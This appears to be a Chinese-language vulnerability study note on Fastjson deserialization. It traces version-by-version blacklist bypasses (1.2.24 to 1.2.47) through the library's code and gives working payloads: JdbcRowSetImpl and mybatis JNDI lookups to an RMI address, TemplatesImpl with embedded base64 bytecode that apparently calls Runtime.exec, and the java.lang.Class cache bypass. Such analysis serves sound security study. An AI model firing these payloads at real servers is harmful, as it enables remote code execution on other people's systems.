Fastjson介绍

Fastjson是一个java库,可以将java对象转化为JSON格式,也可以将JSON字符转换为java对象

JSONObject.toJsonString方法可以将对象转化为Json字符串

JSONObject.parseObject方法可以将Json字符串转化为对象

demo:

Person类:

public class Person {
    private String name;
    private Integer age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }
}
public class Test {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("Xux");
        person.setAge(114514);
        String str = JSONObject.toJSONString(person, SerializerFeature.WriteClassName);
        System.out.println(str);
        System.out.println(JSONObject.parse(str));
        System.out.println(JSONObject.parseObject(str));

    }
}

image-20220207123715939

fastjson允许用户在反序列化数据中通过@type指定反序列化的目标类

fastjson会在序列化的时候调用类中各属性的get方法,在反序列化的时候会调用set方法

1.2.22-1.2.24

JdbcRowSetImpl链

public class Test {
    public static void main(String[] args) {
        String Poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exp\", \"autoCommit\":true}";
        JSONObject.parseObject(Poc);
    }
}

image-20220207230556807

反序列化的时候调用了setDataSourceNamesetAutoCommit

setDataSourceName:

image-20220207231850939

将dataSource赋值为rmi地址

setAutoCommit:

image-20220207232154566

image-20220207232501862

对dataSource进行lookup,造成JNDI注入

TemplatesImpl链

public class Test {
    public static void main(String[] args) {
        String Poc = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQALQoABgAgCgAhACIIAA4KACEAIwcAJAcAJQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAPTGNvbS90ZXN0L0V2aWw7AQAEY2FsYwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAApFeGNlcHRpb25zBwAmAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwABwAIBwAoDAApACoMACsALAEADWNvbS90ZXN0L0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAASgACAAIAAAAOKrcAAbgAAhIDtgAETLEAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAABYAAgAAAA4ADAANAAAADQABAA4ADwABABAAAAAEAAEAEQABABIAEwACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAEQALAAAAIAADAAAAAQAMAA0AAAAAAAEAFAAVAAEAAAABABYAFwACABAAAAAEAAEAGAABABIAGQACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFgALAAAAKgAEAAAAAQAMAA0AAAAAAAEAFAAVAAEAAAABABoAGwACAAAAAQAcAB0AAwAQAAAABAABABgAAQAeAAAAAgAf\"],\"_name\":\"xux\",\"_tfactory\":{},\"_outputProperties\":{}}";
        JSONObject.parseObject(Poc, Feature.SupportNonPublicField);
    }
}

在反序列化的时候加入Feature.SupportNonPublicField参数值是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。

而TemplatesImpl中的这几个属性都是private的

image-20220208163952029

在1.2.25后使用了checkAutoType来修复1.2.22-1.2.24的漏洞,autoTypeSupport属性默认为False,当autoTypeSupport为false时,先黑名单过滤在白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。

开启autoTypeSupport:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

1.2.25-1.2.41

payload:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exp\", \"autoCommit\":true}";
JSONObject.parseObject(payload);

​ 分析:

调用了checkAutoType

image-20220210121752377

进行了一系列获取clazz的操作 但一直是null

image-20220210123618267

然后调用了TypeUtils.loadClass

image-20220210123738240

如果开头是L结尾是分号就将开头的L和结尾的分号去掉

得到newClassName然后loadClass,绕过了checkAutoType的检查

1.2.42

image-20220210131230288

className如果以L开头以分号结尾 就将L和分号去掉 在进行黑名单校验

并且从1.2.42开始 黑名单改为哈希黑名单,目的是防止对黑名单进行分析绕过

解决方法是套两层L和分号

"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;"

image-20220210131734881

进入loadClass后先去掉一层L和分号 然后又调用了一次loadClass 去掉第二层

image-20220210131909160

payload:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exp\", \"autoCommit\":true}";
JSONObject.parseObject(payload);

1.2.43

image-20220210134043926

连续出现两个L就报错

payload:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/Exp\", \"autoCommit\":true}";
JSONObject.parseObject(payload);

image-20220210134839841

如果开头是[的话就再次调用loadClass ,并且将[去掉

后面的[{是为了不让其抛出异常

之后的版本的checkAutoType添加了对[的检查,若开头是[则直接抛出异常

1.2.45

可以使用另一条链

需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

payload:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/Exp\"}}";
JSONObject.parseObject(payload);

由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单中,所以直接能绕过checkAutoType的检测

直接看他的setProperties方法

image-20220210142252818

直接对我们传入的data_source进行了lookup 造成JNDI注入

1.25-1.47通杀(无需开启AutoTypeSupport)

1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用

1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/Exp",
        "autoCommit":true
    }
}

漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测